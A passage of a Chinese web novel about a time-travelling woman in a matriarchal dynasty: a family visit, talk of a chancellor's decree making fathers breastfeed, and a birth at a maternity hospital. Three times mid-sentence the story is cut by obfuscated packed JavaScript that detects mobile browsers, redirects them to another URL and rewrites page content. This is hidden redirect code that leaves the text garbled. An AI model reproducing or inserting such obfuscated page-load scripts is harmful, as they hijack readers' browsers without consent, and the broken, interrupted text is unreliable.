赵英只觉得弟弟自欺欺人的功夫已经练得炉火纯青了,她心累地重复着已经不知说过多少遍的话,“花儿啊,你就放弃吧!明眼人都能看出来——国安她不喜欢你啊!要我说多少遍,你才能醒悟?” 赵春花咬着唇,一脸倔强地看着长姐,怎么也不肯说出放弃二字。 赵英看着自家的倔驴弟弟,只觉得头更痛了,无奈之下,她把好友的原话告诉了弟弟,“别再想了,国安说——她只把你当成弟弟。” “什么弟弟,情弟弟吧……”商茁吐槽道。 赵国安一脸惊恐地连连摆手,“阿茁,你可别乱讲!让人听到就不好了。” 商茁扯了扯唇,把自己刚才的观察告诉了赵国安,“那个小男郎的眼睛都快粘你身上了,你别告诉我,你没发现……” 赵国安苦恼地叹了口气,“唉!我就是小时候给了他一块糖,之后他突然说要嫁给我!当时可把我给吓坏了!” 商茁打趣道:“一颗糖换一个夫婿,多好~天大的福气你还不快接住~” 赵国安无语道:“这福气给你,你要不要?” 商茁当即表示,“那可不行,人家喜欢的是你,又不是我……而且我的大好未来才刚开始,成家先得立业!我还没干出一番轰轰烈烈的事业呢……” 听到商茁提起事业,赵国安眼睛亮了亮,她拉着商茁的手,一副找到知音的样子,“是吧!阿茁你也这么觉得!北边鞑族还在虎视眈眈盯着大朝,云州还未收复……国家还有这么多隐患没有处理,我们这些顶天立地的大女人,怎么能一天到晚净想着怎么成家呢!” 商茁看着说起边关战事仿佛突然变了一个人的赵国安,心里有些无奈,但更多的是钦佩。正是因为有像国安姐这样一心为国为民的人,她们这些普通人才能高枕无忧,可以安心过自己的小日子…… “孩子们,出来吃饭啦~” 赵父在堂屋喊道。 18. 第 18 章 两人净手后来到堂屋,赵母赵父已经在餐桌前等着了。 看到满满一桌子的菜,商茁忍不住惊呼道:“哇!叔叔您真厉害!竟然会做这么多道菜,而且色香味儿俱全,赶得上酒楼里的饭菜了……” 赵父听到商茁这一连串的夸奖,顿时笑得见牙不见眼,他连连摆手谦让道:“没有没有~我哪能和人家酒楼里的大师傅们比~人家那都是祖传的手艺,我这只是家常菜罢了~” 一旁的赵母笑呵呵地招呼商茁她们坐下吃饭,商茁在赵父期待的目光中夹起一块红烧排骨放入口中细细品尝,味蕾瞬间被这道菜征服,入口微甜油润、一经咀嚼醇厚的肉香便充斥开来,多种香味组合在一起,最终形成了妙不可言的味道。 商茁香得直眯眼,她朝一旁的赵父竖起大拇指,含糊不清地说:“好次!太好次了!” 赵父闻言松了一口气,眉眼弯弯地温声说道:“小茁,你喜欢就多吃些~过两天我再给你们做。” 待商茁吐出骨头后,再次对赵父夸赞道:“叔叔,我真的觉得您做的红烧排骨是我吃过最好吃的!” 赵国安嚼着一块排骨含糊不清地附和道:“嗯嗯!窝也这么绝得!” 赵父被两人夸得脸颊泛红,不好意思地捂嘴轻笑。 “哈哈哈,你们两个小馋猫~”赵母在一旁笑着感叹道:“我们现在能吃饱饭,能有把饭菜做的好吃的香料,这一切都要感谢季丞相啊!”说着,赵母眼中闪过一丝怀念。 她还在军中时曾有幸见过季丞相一面,对方虽身居高位,但却礼贤下士、平易近人,会关心她们这些士兵有没有吃饱、有没有穿暖…… 商茁眨巴眨巴眼睛,疑惑地问:“季丞相?我们在军校里好像没有听过有关这个人的事……” 她看向一旁的赵国安,对方给了她一个肯定的眼神。 待到把嘴里的饭菜咽下去后,赵国安这才解释道:“季丞相是文臣,军校肯定不会主动宣扬她的事迹。估计咱们军校同学有很都不知道这些,我也是听我娘经常念叨才知道的……” 这么说虽然乍一听有点道理,但商茁却觉得有些不对劲。按赵母所说,季丞相解决了举国温饱,此等民生大功,纵是军校,也理当宣扬其事迹才对。她一个穿来的不知道,怎么会军校多数同学都不知道? 赵母轻叹一声,“要是其他官员干出一点政绩,恨不得敲锣打鼓让全天下的人都知道,但季丞相却总是这般谦逊,只是默默无闻地替百姓们做实事!要知道,连大名鼎鼎的沈将军都是季丞相一手提拔的……” 商茁的脑海中又浮现出了那个身量矮小,但目光如炬的人。商茁猜测沈将军现下年龄应该不超三十五,当年和鞑族一战夺回燕州时,沈将军应该才二十来岁,那提拔她的季丞相现在应该也就六七十岁? 商茁试探地问道:“季丞相现在还在朝堂吗?” 赵母脸上带着一缕愁绪,有些担忧地说:“唉,我之前听人说季丞相两年前积劳成疾,和圣上请辞回家修养了,现下也不知修养得怎么样了……” 商茁眉心微不可察地皱了皱,她继续追问道:“那现在丞相之位是由何人继任呢?” 赵母愣了下,努力地回忆着当时听到消息,不确定地回答:“应该是空着的吧,听人说圣上下令丞相之位要给季丞相留着,待她病好后继续任职。” 闻言,商茁眉心蹙起的痕迹更深了,对于今天听到的事情,她心里有种不太好的感觉。 商茁只在马球比赛上见过皇帝一面,并不了解其为人。不过,她观皇帝目光清明,继位三年也未传出什么荒唐事,更未大兴土木。即便不算明君,至少也非昏君…… 那是什么让皇帝迟迟不愿另立丞相? 一个个猜想在商茁脑海中飞快闪过,“是皇帝仁厚念旧?朝中没有合适的人选?还是……皇帝根本就做不了主?” “好啦好啦~都快吃饭吧,饭菜都要凉了~”赵父出言打断了饭桌上有些沉重的气氛。 他笑着瞪了赵母一眼,娇嗔道:“妻主您也真是的~好好的和孩子们说这些干什么。整日和村长她们那些女人谈论国家大事还没谈够?还要继续和孩子们说……” 赵母摸了摸鼻子,干笑道:“哈哈哈,我这不是随嘴这么一说嘛~好了不说了,都吃饭、吃饭!” 之后大家又聊起了其他话题,气氛又渐渐活跃了起来。 一顿饭下来,几个人吃得其乐融融,商茁也与赵母赵父亲近了许多。她们就像赵国安说的那样很好相处,两个人都是非常好的人。 吃完饭后,赵父带着家里的仆夫去收拾碗筷,留三个女人在堂屋闲聊。 赵母询问了一些商茁她们在校训练的事,欣慰地说:“真好啊!现在你们这群孩子们,一个个人高马大、训练有素的,就算鞑族那群野狼们再来袭击我们大朝,有你们在,也能把它们打回去!” …… 在赵家住这几天里,商茁明白了为什么赵国安能有现在这边正义善良、毫无阴霾的样子了。赵家虽然不是大富大贵之家,但赵母和赵父真的给了赵国安全部的爱。 商茁从未看到赵母对夫婿和孩子颐指气使,摆出一副高高在上的一家之主的姿态;相反,虽她性子和赵国安一样大大咧咧、热情豪爽,但却情绪稳定,从不随意发脾气,面对家里的仆夫也是从不摆架子。 而赵父则是典型的贤夫良父,平日里总是一副笑脸盈盈的样子,对谁都是温声细语,从未大小声过。 赵家的家庭氛围是令商茁最向往的那种家庭。虽然家里并不是富甲一方,但是赵母宽和,赵父慈爱,整个家里都是温馨和睦的氛围,商茁在这里身心会下意识地放松。 这日,赵国安带商茁在村子里闲逛,路过村里的一棵大松树时被人叫住了。“诶,这不是国安嘛~许久未见竟然长这么大啦~你身边这位是你朋友?你娘怎么没一起?” 树下坐着一群唠嗑儿、带孩子的男人们,其中一个头戴银钗、身穿绿袄的男人正是叫住赵国安的人。 赵国安眯着眼睛打量对方了半天也想不起男人是谁,她疑惑地问:“您是?” 男人的笑容僵在了脸上,他讪讪地笑道:“我是你引妹叔啊,你小时候我还抱过你呢……” 赵国安恍然大悟,“怪不得我没印象,叔你说这事儿也久远了,那时候我还是个奶娃娃,咋会记住你。” 商茁在一旁憋笑憋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998169|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得十分辛苦。那个男人一双眼睛在她们两人身上来回乱瞟,看着也不是什么安分老实的人的,遇到安姐这种直来直去的性子,也算是遇到克星了。 果然,树下坐着的其他男人脸上露出了鄙夷的神色,其中一个抱孩子的男人更是直接出言讽刺道:“赵老三你这是还惦记着大勇姐呢?也不撒泡尿看看你脸上的褶子,人家就算是纳小侍也不会找你!呵呵,当初还笑话人家吴兰哥不能生,谁料人家的根子争气,一举夺女!倒是你自己……听说都给妻主奶了三个儿子了吧?” 被揭穿老底的赵引妹恼羞成怒,伸手就去扯抱孩子的男人的头发,“赵喜你这个贱人!等我撕烂你的臭嘴,看你还怎么喷粪!” 一群人赶忙上前阻拦,商茁和赵国安目瞪口呆地相视一眼,彼此眼中都是:“这群男人也太可怕了吧!” 推搡中,赵喜怀中的孩子醒了,顿时哭闹不止。赵喜连忙柔声哄着孩子,“哦哦,爹的乖女不哭了~是不是饿了?爹这就给你喂奶哦~”说着,赵喜解开了衣带,将汝头放到女儿嘴中。 看到这一幕的商茁先是赶紧移开目光,后又觉得眼睛要长针眼了。她不知道该怎么表达自己此时的心情,这个男人哄孩子的方式竟然是给孩子喂奶!这也太不卫生了吧?!还有,你有奶吗?也是喂得起劲! 商茁觉得实在是待不下去了,于是拉着赵国安便要离开。赵国安和长辈们打了招呼便和商茁一起离开了这里。 两人还没走两步,身后的男人们的对话就传了过来,“小喜,女男有别,你喂奶也不避着点人,瞧把两个女郎都给吓跑了……” 赵喜不在意地说:“有什么好避的,都还是未经人事儿的小孩儿,她们懂什么~” 被人拉到一边的赵引妹此时冷哼一声,“不知羞耻!我看你是看人家两个女郎长得俊,想勾引人家!也不看看自己的搓衣板……” 赵喜争吵道:“你还好意思笑话人家?你自己胸前的两块蚌肉都快垂到肚脐眼儿了!” 赵引妹不忿道:“你不就是有个当村长的娘,有什么好嘚瑟的!” 赵喜挺挺胸,一脸骄傲地说:“我不光有个当村长的娘,还有个宝贝女儿!可惜你一个都没有!” “你你你!!” 吵着吵着,两人又要打起来了。 商茁脚下生风般拉着赵国安走得飞快,眨眼间身后的一群人就看不到了。直到来到一处没有人的地方时,商茁才松开了手。 她心有余悸地对赵国安说道:“你们村儿的男人也太泼辣了,光是看到他们,我以后都不想成亲了。” 赵国安挠了挠头,有些尴尬地说:“我以前都是和阿英姐她们一起玩儿,很少和这些叔伯们打交道,也不知道他们会这样……” 这么一对比,赵国安觉得自家爹简直是仙男下凡了,不光温柔贤惠,而且还知书达理,从来不会和这些叔叔一样粗俗放荡。 商茁轻咳了声,小声说:“国安姐,刚才那个抱孩子的男人,他怎么……怎么给孩子喂奶啊!这样多不卫生啊!” 赵国安一脸迷茫地说:“可大家都是这样被阿爹喂奶长大的啊。” 听到这里,商茁震惊地瞪大双眼。 19. 第 19 章 商茁呆了好久,才终于找回自己的声音,她犹豫着说:“我以为……我们是被母亲喂养长大的。” 听到她的话,赵国安哈哈大笑,“母亲十月怀胎,又经分娩,正是身体疲惫之际,得需好好休养,怎么能再让母亲哺乳呢?” 商茁觉得脑海中“嗡”的一声,仿佛有什么桎梏被猛然击碎,“是啊,伤筋动骨,都要休息百天,可女性辛苦怀胎十月,又忍受痛楚诞下一个新的生命,可等待她们的,却是哺乳和育儿的无尽琐碎……这何其可笑!” 商茁心中生出一团莫名的愤怒。她不知道要怎么表达自己心中那份复杂的感情。不甘、痛心、愤怒……最终化成一份无力的悲哀。她只是一个普通得不能再普通的底层女性,无法改变这一切,甚至看不到自己的未来。 现代社会中,明明各式各样的奶粉已经非常普遍,但社会上大多数言论仍然声称母乳喂养更加健康,坚持让母亲喂养孩子。如果有女性反抗,就以她不爱孩子、不是个合格的母亲的道德枷锁来压迫她。 可是这里,在社会发展、生产较为低下的古代,她们竟然做到了。孕妇只需要好好休息,恢复自己的身体,其他的事情通通不用费心。 “也只有这里才能做到了吧。”商茁在心中轻叹道。 赵国安的话打断了她的思绪,“不过听人说,孩子由父亲喂奶,也就是近二三十年才开始的……” 商茁目光下意识看向赵国安。 赵国安摸了摸下巴,“唔,这也是那位季丞相下的令,到现在每年还有官员来村里通传这条政令,检查有没有人不遵循的。” 闻言,商茁浑身一震,她不敢置信这个规矩竟然是人为制定的,并不是什么从古流传的,而且这项措施竟然才实施不过几十年。 商茁声音有些颤抖,她轻声问道:“难道没人反抗吗?” 赵国安感叹道:“怎么没有,听我舅舅说,当时杀了好多拒令不遵的人,刑场的土都被染成红色的了……” “不过我觉得季丞相说的挺有道理,她说男人本来对家庭的贡献就过于微小。就说孕育后代这件事,怀孕、生育,这两项最艰难的工作,女人已经全揽了,男人需要给孩子哺乳,如果这么简单的工作男人都不同意的话,那他们就没有存在的必要了。唔,大致意思应该就是这样说的。”回忆起之前听旁人复述的话,赵国安满脸崇拜。 商茁怔怔地看向远方,轻声赞叹道:“季丞相可真了不起。” 她差不多能想到这件事的阻力有多大,突然实施的政令,而且是建立在打破另一个群体几百年来的利益之上。不敢想那位季丞相的心性该多么坚韧。 说到这里,赵国安突然嘿嘿一笑,“你绝对猜不到,男人们最后为什么同意了。” 商茁好奇地问:“为什么?” 赵国安:“嘿嘿,季丞相之后又追加了条政令,‘不给孩子哺乳的父亲,老了以后孩子不用赡养!’毕竟他又没有养育孩子,孩子自然没有责任给他养老!” “而且季丞相还说,如果哪家的夫婿拒绝给孩子哺乳,妻主可以去衙门状告他,不光夫婿要蹲大牢挨板子,夫婿一方的母父、姐妹兄弟要一起受罚、而且还要缴纳罚金。谁让她们养出一个自私自利的儿子、有一个冷血无情的兄弟……” 听到这里,商茁简直想要拍案叫绝。“妙啊!这一套组合拳下来,想必也无人敢反抗了吧。” 赵国安点点头,“听说这一政令下来,药堂可是赚的盆满钵满,而且还多了一个叫‘催乳师’的行当。” 商茁愣了下,“药堂?” 赵国安:“对啊,男人要想来奶,得吃上整整两三个月的催乳药呢。现在的人夫基本都是在妻主确诊有孕后就开始吃药,这样孩子生下来就可以吃到父乳了。” 商茁现在最钦佩的人就是季丞相了。她很想亲眼见见这位有着超越时代的眼光和雷霆手段的伟大女性。她甚至萌生出了一丝想要入朝为官的念头。 赵国安拍了拍商茁的肩膀。“阿茁,走啦~回家吃饭了~” 商茁收起杂乱的思绪,笑着追上去。“来啦~” 下午,赵家的小院来了位新客人。 “姑姑,姑父、表姐,新年安康。” 一位长相白净的女子在两个男人的搀扶下,走了过来。“阮田、白蜜,还不快给姑姑行礼。” 两个男人闻言,连忙毕恭毕敬地向赵母俯身行礼。 赵母摆摆手,示意两人起来。她看向侄女,“你这是快要生了吧?不好好在家修养,来回跑什么?” 钱宁笑着摸了摸腹部,“临产期差不多就这几日,侄女此次前来,是想拜托姑父和吴老通传下,我这次生产能不能在吴老的医馆。” 赵母皱了皱眉,“你们那里不是有医馆吗?何至于跑这么远,来京城产女?” 钱宁身旁的男人小声说:“姑姑,婆夫说畅意县产院的都是些新手,不及吴老经验丰富,妻主这是头胎,由吴老接生才更放心。” 提起自己这个弟弟,赵母就一阵心烦。她刚退伍回来时看弟弟还未说亲,便想着撮合撮合他和自己相熟的战友,当时他也同意了,两人见过面后,双方都觉得合适,战友那边便来下聘了。谁知这小子待嫁时,不知道怎么和一位来京城做生意的富商勾搭到一起了,吵着闹着非要退婚! 要知道当时离婚期没剩几天了,战友家什么都张罗好了,连请帖都发出去了,这时候退婚不是打人家的脸吗?赵母当时一口拒绝了,她想着就算是捆着,也要把弟弟送到战友家的花轿里。 结果,死小子张嘴就是一道晴天霹雳,“我和钱姐睡过了,已经不是处子之身了!” 此话一出,赵母遍体生寒,外面明明是艳阳高照,但她却如坠冰窟。战友和她在战场上是肝胆相照的好友,对她有救命之恩,人品更是没话说,要不然她也不会将自己唯一的弟弟说给她。 可自家弟弟如今竟然做出这样的丑事,她也没脸把他嫁到战友家。无奈之下,赵母只能灰溜溜地前往战友家退婚道歉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006691|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,除了原本的聘礼,还带了许多用来赔礼的金银财物。 战友听完后,沉默许久,只是淡淡回了句,“好。”然后收回了聘礼,至于赵母带去的其他赔礼,战友一家说什么也不肯收下。 经此一事,两人也没再联络过,赵母也没脸再登战友家的门。就这样,两人并肩在战场中厮杀出的友谊,不复存在。 之后不久,钱家便来下聘了。这时赵母才知道,这位姓钱的富商是隔壁县城的布行老板,平日做些布料生意。这次来京城就是来卖货的,碰巧遇到去买布料的弟弟,一来二去,两人不知道怎么就勾搭上了。 这位钱老板并不是头婚,而是续弦。而且她已是不惑之年,比自己弟弟大了二十多岁!她的女儿都快和弟弟差不多大了! 赵母怎么想都想不明白,自家弟弟是瞧上了她哪里。直到弟弟羞羞哒地说:“钱姐说成亲后我可以自己有个小院,而且给我安排四个小厮随身伺候,绫罗绸缎可以随意穿……” 赵母看着面前的弟弟,仿佛是一个陌生人。她们家虽然不是什么大富大贵之家,但从未短了弟弟的吃穿,甚至母亲偶尔还会给他买些村里其他男娃没有的点心糖果。 看清弟弟为人后,赵母心灰意冷。草草地送他出嫁,之后也未曾联系过。直到弟弟和妻主生了女儿,弟弟写信哀求她前去参加侄女的满月宴,也让其他人知道他的女儿也是有姑姑撑腰的,不至于让她们父女俩在府里被人踩得太狠。 这个时候赵母才知道弟弟这些年在钱府过得并不好,可这又能怪谁呢?毕竟是血脉相连的亲人,思来想去,赵母最终还是去了。 到了钱府,赵母震惊地发现,除了弟弟,这位钱老板大大小小还有五房小侍,几人整日里明争暗斗,将钱家后院斗得乌烟瘴气。 从侄女的满月宴回来以后,赵母便和弟弟保持着不咸不淡的联系,赵母依旧不欢迎弟弟回来,但侄女来做客时,她也不会拒绝。 看了眼侄女的腹部,赵母轻叹一声,对一旁的夫婿说道:“阿兰,明日里辛苦你陪钱宁去岳母那里走一趟。” 赵父温柔地笑笑,“这有什么辛苦的,刚好我好久都没有去看望母亲了。” 几人简单地寒暄过后,钱宁的两个夫侍跟着赵父去厢房帮妻主布置起居,钱宁则是坐在凉台的桌椅旁和赵国安两人闲聊,“表姐,聊了这么久,还不知道这位是?” 赵国安揽住商茁的肩膀,向钱宁介绍道:“这位是商茁,我的义妹,虽不是亲生的,但胜似亲生的!” 商茁朝钱宁抱拳行了一礼,“钱女郎好,我和国安姐一样,都是军校的学生。” 钱宁起身回了一礼,笑着说:“原来是军校生,怪不得商女郎身形挺拔、英姿飒爽。” 说实话,要不是赵母说钱宁快生了,商茁都没有看出她怀孕了。钱宁现在依旧四肢修长,只是腹部微微隆起,身形并不像一般怀孕的人那般臃肿。而且看她走路弯腰都挺轻松的,也不知道是钱宁体质特殊,还是大朝的女子皆是如此。 20. 第 20 章 赵吴氏心情激动地起身去开门,只见门外的小童身边站着位童颜鹤发的老者。看到赵吴氏,她慈爱地唤了声:“阿兰,回来啦。” 闻言,赵吴氏瞬间热泪盈眶,他哽咽着扑进了母亲的怀抱,“呜呜,母亲……” 吴青松拍了拍儿子的背,轻笑着说:“好啦,都当爹的人了,还这么爱哭鼻子,也不怕孩子们笑话你~” 赵吴氏吸了吸鼻子,声音带着哭腔,“不管多大,我永远都是母亲的孩子。” 吴青松笑着摇摇头,随后转头看向屋内,“国安也来啦~许久未见,国安已经长成大人了……” 赵国安向前一步,规规矩矩地向吴青松行了一礼,“外祖母好,许久未见,您老人家近日身体可好?” 吴青松慈爱地看着高大的外孙女,“我一切都好,每顿能吃两碗饭呢,哈哈~”说着,吴青松看向赵国安身后的几人,“国安,这些都是你的朋友?” “外祖母,这个是我的义妹!她人不光聪明还礼貌善良……我们关系可好了!”赵国安一把拉过商茁,眼睛亮晶晶地给吴青松介绍道。 突然被拉出人群,商茁一时有些懵圈,她脑海中飞快地闪过各种对老者的称谓,“奶奶?不行,国安姐叫外祖母,我怎么能叫奶奶!婆婆?不行,一下子把人叫老了好多,而且听着太疏离……” 想了半天,商茁都没有想好该叫什么,索性就按照赵国安的称呼叫外祖母了,毕竟赵国安刚才已经说了两人是姐妹了。 商茁恭恭敬敬地朝吴青松行了一礼,“外祖母您好,我是商茁。” 吴青松目光和蔼地看着商茁,笑道:“果然和国安说的一样,是个知礼的聪明孩子。” 两人打完招呼后,赵国安又指了指身后的钱宁,“外祖母,这是我的表妹钱宁。” 钱宁上前一步,向吴青松行了个文士礼,“吴院长您好,晚辈此次不请自来,实在是叨扰了。” 吴青松的目光落到了钱宁的腹部,问道:“小钱这是快生了吧?预产期是什么时候?” 钱宁摸了摸肚子,垂眸浅笑,“吴老不愧是经验丰富的接产士,就是这几天了。” 赵吴氏这时也附和道:“这孩子比较信任您,又是头胎,所以大老远跑来,就是想请您到时候帮她接生。” 吴青松看了眼男儿,只见对方冲她讨好地笑笑,她轻轻叹了声气,“罢了,既然都来了,便住下吧,生产时我会过去的。” 闻言,赵吴氏松了一口气,妻主将此事托付给他,他势必要将事情办好。再者,妻主就这一个姪女,虽说面上并没有表露太多,但他知道妻主心里还是很在意这个姪女的。早上把人带出来,晚上再灰溜溜地把人带回去,赵吴氏自己都不好意思面对妻主! 说话间,吴青松让阿程带着钱宁和她的夫侍们去办理入院,又打发赵国安和商茁去后院找孙女玩儿。 此时,屋子里只剩母孩两人。赵吴氏有些忐忑地看了眼母亲,以为母亲会训斥他自作主张带钱宁来这里,谁知母亲却和蔼地问他在赵家过得怎么样,妻主有没有为难过他…… 赵吴氏的泪水再一次落下,他抽抽搭搭着向母亲道歉:“母亲对不起,我不该私自带钱宁来找您的,都是我的错,您罚我吧……” 吴青松轻叹一声,“阿兰,此事我并没有怪你,只是往后莫要这般了。母亲老了,每天能接产的人数就这些,其他顾客老早就预约了,突然来一个人插队,让人家怎么想?长此以往,谁还会来我们产院?” 听完母亲的话,赵吴氏更是泣不成声,他跪下重重地给母亲磕了个响头,见他还要磕,吴青松连忙揽住了他,“你这孩子,这是干什么!” 赵吴氏泪眼婆娑地给母亲继续道歉。他此刻有些痛恨自己的自作主张了,明明母亲年事已高,他不仅不能在母亲身前尽孝,反而要使母亲操劳,他怎么对得起从小到大母亲对他的关爱! 吴青松拿出帕子给男儿擦干净脸上的泪痕,打趣道:“再哭眼睛就肿成核桃了,到时候可就不漂亮了……” 赵吴氏闻言下意识摸向自己的脸,嘟着嘴和母亲撒娇,“不漂亮就不漂亮,妻主要是嫌弃我了,我就回家投奔母亲!” 吴青松听到男儿的话,皱起了眉头,“赵大山欺负你了?” 赵吴氏急忙摇头解释道:“妻主对我很好!母亲不要误会!倒是我……这多年,除了国安,再也没能给妻主添个一女半男的。”说着说着,赵吴氏的声音越来越低。 吴青松摸了摸男儿的头发,轻叹道:“孩子,做人不能太贪心,你身为‘低等净值’,能和大山生个女儿,已经是上天开恩了。守着你的妻女好好过吧……其他给妻主养育好几个孩子的男人,也不见得过得比你好。” 赵吴氏伸手捂住自己的脸,声音轻得像片羽毛一样,“我知道的母亲,道理我都明白,只是、只是……我不甘心啊。” “要是所托非良人也罢,但妻主这么好的人,我却不能让她女男满堂。而且,哪怕国安现在都这么大了,还有人想给妻主做小。” 吴青松沉默地听着男儿的倾诉。身为女人她深知赵大山会有多吃香。一个相貌堂堂,颇有资产的女人,娶了一个低等净值的男人,这么多年,除了一个女儿再无所处,尤其是村里那些男儿多的人家,多的是想把男儿嫁给赵大山的。 沉默片刻,吴青松从腰间的荷包中取出一枚私印递给男儿,“你回去把这枚私印交给大山,告诉她凭借这枚私印,可以到城中的宝庆钱庄取出五百两银子,就当我感谢她这么多年善待我的孩子的谢礼吧。” 赵吴氏连连摆手,“母亲您这是干什么,我怎么能要您的钱呢!您快点收回去!” 吴青松却执意把私印放在赵吴氏的手中,“这些钱本来就是为你存的。当年你兄弟二人检测出是低等净值后,我便为你们两个各存了一笔银子,想着往后就算我不在了,你们有银钱傍身,起码过得不会太艰难……不曾想,你们兄弟俩竟都有人上门求娶,一转眼,你们一个个都已嫁为人夫。” “你哥妻入赘到咱们家,这医馆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030383|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肯定是要留给你哥妻她们的,就委屈你了。这五百两你先收下,之后我会再给你些。” “母亲,您对我这么好,可叫我该如何偿还啊……”赵吴氏跪在母亲身前哭得不能自已。 吴青松看着儿子的流泪的模样,又想起了逝世多年的夫婿,那个美丽又脆弱的男人,也是这般爱哭……她眼中带着怀念,轻声感叹道:“当时娶你爹的时候,我就已经做好这辈子没有孩子的准备了。却不成想,许是上天垂怜,后来我们竟有了你们兄弟二人。只可惜,你们两人都继承了你爹的低等净值……” 看着泪眼婆娑的儿子,吴青松温声劝慰道:“阿兰啊,大山是个好人,把心放平,和人家好好过吧。在她知道你是低等净值,仍执意要娶你为正夫时,我就知道,她和我一样并不看重这些,只是在乎和自己享受一生的人,是不是自己所爱。” 听到母亲的话,赵吴氏用力地点点头,“母亲,我知道的。” 另一边,赵国安带着商茁找了一圈都没有找到自家表姐。她拦住了一个路过的小厮问道:“你们家明月女君去哪儿了?” 小厮小心翼翼地看了两人一眼,试探地问:“不知您二位是?找我们女君可有何事?” 赵国安不耐烦道:“你哪儿这么多问题!你直接告诉我她在哪儿就行了,我是她表妹。” 小厮惶恐地跪倒在地,“请女君恕罪!我们女君今日学习接生,现下还在产房中。” 赵国安摆摆手让他起来,知道表姐在忙,也没为难小厮,拉着商茁向外面走去。“看吧,我都说这里没什么好玩的。” 商茁笑笑,“我还是第一次来产院呢,长长见识也不错。” 两人刚走到大厅,就见一个女子风风火火地跑了进来,“大夫呢!快快快!我要生了!” 这话把负责接待的两个女童吓了一跳,阿向赶紧推来一辆轮椅,让女子坐下,阿程则是飞快跑向后院去通传大夫。就在阿向准备把女子送到产房时,遇到了点麻烦。 这位即将生产的女子,身材高大,颇为富态。阿向使出全身力气,只能将轮椅推出一小段距离。赵国安看着因拼命使劲,导致面色涨红的小孩儿,有些好笑地把她拉到一边,“我来吧,你去前面带路。” 闻言,阿向感激地看了赵国安一眼,“多谢女君,请随我来。” 赵国安推着女子跟随阿向往后院走去,商茁则跟在她们身后。 直到看到这位即将生产的女子,商茁才确信,这个世界的女子怀孕,并不会影响日常生活。 因钱宁身材本来就偏清瘦,所以一开始商茁并不能确认到底是这个世界所有女性怀孕都不显相,还是因为钱宁身材清瘦,所以才不显孕相。 这位即将生产的女子,体态是偏丰腴的,可她依然只是腹部微微突出,并不影响日常生活。而且她来的时候,还能一路小跑,说明怀孕对她并无负担,她依然可以正常快走跑跳。 “阿茁,快来帮我抬下。”赵国安突然朝后喊了一声,打断了商茁的思绪。 21. 第 21 章 “哦,来了!” 商茁回过神,连忙上前和赵国安一起把轮椅抬下台阶。 几人刚把女子送进换衣室,走廊的另一头急匆匆地赶来三人。看到几人的穿着,商茁不由一愣,只见带头的那位大夫穿着一身白大褂,脸上带着个类似口罩的东西,头上戴着顶写着“吴氏产院”的帽子,将头发包得严严实实。 而她身后两个女子也是一样的装扮,不同的是,她们穿的大褂是浅蓝色的,而且两人都挎着个木箱。 “小任,你去给产妇换下衣服。” “小严,你去产房把生产用的东西都布置下。” 身穿白大褂的吴大夫有条不紊地指挥着两个学徒准备生产前的工作。 “是,师傅。”两个学徒点点头,麻利地着手处理师傅下达的工作。 不一会儿,小任就推着换好产裙的产妇出来了,她一边推着产妇往产房里走,一边急声对老师说:“师傅,产妇的羊水已经破了,需要加快进度了!” 吴大夫快步上前,和小任一起把产妇推进产房,房门一关,接产马上开始。 听到小任的话,商茁几人此时都有些担心,便都留在了产房门口守着。商茁想到以前看过的一则新闻,说是一个著名富豪的妹妹,生孩子的时候发生羊水栓塞,几乎把整个身体的血都换了一遍,也没有抢救过来。想到这里,商茁的表情更加凝重。 忽然,商茁意识什么,按照过往的影视剧,产妇生孩子的时候,往往伴随着痛呼高喊,这里怎么没声音?反而有些过于安静了。她扭头对一旁的小向问道:“怎么没有听到动静?” 小向一脸迷茫,“什么动静?” 商茁:“呃……生孩子不是挺疼的吗,怎么产妇一声不吭的?” 小向白了她一眼,嗤之以鼻道:“商女君您说的是多久前的事?现在连偏远小城的产院生产时都有止痛药了,更何况咱们‘吴氏’产院这样数一数二的大产院!吴大夫可是吴院长的亲传徒弟呢!保证不让产妇有一丝疼痛,顺顺当当地就把孩子生下来了~” 赵国安摸着下巴,回忆道:“之前听我娘说过,生我的时候,她还没反应过来,我已经生出来了。” 小向一脸骄傲地说:“是吧,咱们‘吴氏产院’的接生水平那是妥妥的~赵女君您是吴院长的外孙女,说不定,当时就是吴院长接生的您!” 就在几人说话间,产房的大门被人打开了。 吴大夫一脸笑意地对阿向说:“小向,去通知女子护持司来给新生儿办理出生证明吧,让她们记得带“诞礼”,这是位小女郎~” 小向开心地欢呼道:“太好了!大朝又有一位女郎出生了!我告诉小程,让她把咱们产院接生的女郎人数的牌子改一改!” 